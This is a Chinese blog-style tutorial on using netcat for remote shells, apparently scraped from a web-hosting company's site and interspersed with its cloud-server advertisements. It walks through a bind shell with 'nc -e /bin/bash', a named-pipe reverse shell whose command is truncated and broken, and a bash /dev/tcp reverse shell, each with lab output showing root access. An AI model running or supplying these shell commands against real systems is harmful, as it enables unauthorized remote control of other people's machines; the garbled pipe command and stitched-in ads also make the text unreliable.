nc帮助文档上面说的是TCP/IP协议中的swiss army knife，是一个使用tcp或udp协议通过网络连接来读写数据的一个简单的多功能的工具！在***中经常用于反弹shell，用于交互式执行shell，或者用于提权！

创新互联建站专业为企业提供南涧网站建设、南涧做网站、南涧网站设计、南涧网站制作等企业网站建设、网页设计与制作、南涧企业网站模板建站服务，10余年南涧做网站经验，不只是建网站，更提供有价值的思路和整体网络服务。

    基本使用语法：

nc 选项 IP port

   基本参数说明：

-l：监听端口，监听入站信息
-p：后跟本地端口号
-v：显示端口的信息，多数人喜欢使用-vv，但是我用了没看到有什么区别

    第一种方法：

    第一种的话需要目标主机直接就是外网独立ip才可以，如果是通过内网映射出来的，就不适用这个方法了！

    目标主机：

nc -lvp 2222 -e /bin/bash

root@kali:~# nc -lvp 2222 -e /bin/bash
listening on [any] 2222 ...

    ***主机：

nc 目标机IP 2222

F:\\eth20-CTF-Toolkits\\CTF工具包\\连接工具>nc 192.168.5.128 2222

    此时我们查看目标主机：

root@kali:~# nc -lvp 2222 -e /bin/bash
listening on [any] 2222 ...
192.168.5.1: inverse host lookup failed: Unknown host
connect to [192.168.5.128] from (UNKNOWN) [192.168.5.1] 14960

    此时我们在***机就可以执行命令了！

F:\\eth20-CTF-Toolkits\\CTF工具包\\连接工具>nc 192.168.5.128 2222
whoami
root
uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux

    第二种方法：

    第二种方法，需要我们有独立外网ip，用于监听返回来的shell！

    目标主机：

root@kali:~# mknod /tmp/backpipe p
root@kali:~# /bin/sh 0/tmp/backpipe

    ***主机：

F:\\eth20-CTF-Toolkits\\CTF工具包\\连接工具>nc -lvp 2222
lstn on [any] 2222 ..
192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA
connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53404: NO_DATA
whoami
root
uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux

    第三种：

    第三种方法需要我们有独立的外网ip，用于接收shell！

    目标主机：

root@kali:~# bash -i >& /dev/tcp/192.168.5.1/2222 0>&1

    ***主机：

F:\\eth20-CTF-Toolkits\\CTF工具包\\连接工具>nc -lvp 2222
lstn on [any] 2222 ..
192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA
connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATA
root@kali:~# uname -a
uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
root@kali:~# whoami
whoami
root
root@kali:~#exit

另外有需要云服务器可以了解下创新互联scvps.cn，海内外云服务器15元起步，三天无理由+7*72小时售后在线，公司持有idc许可证，提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案，具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势，专为企业上云打造定制，能够满足用户丰富、多元化的应用场景需求。

分享标题：linux命令——nc-创新互联
文章源于：http://kswjz.com/article/dshcis.html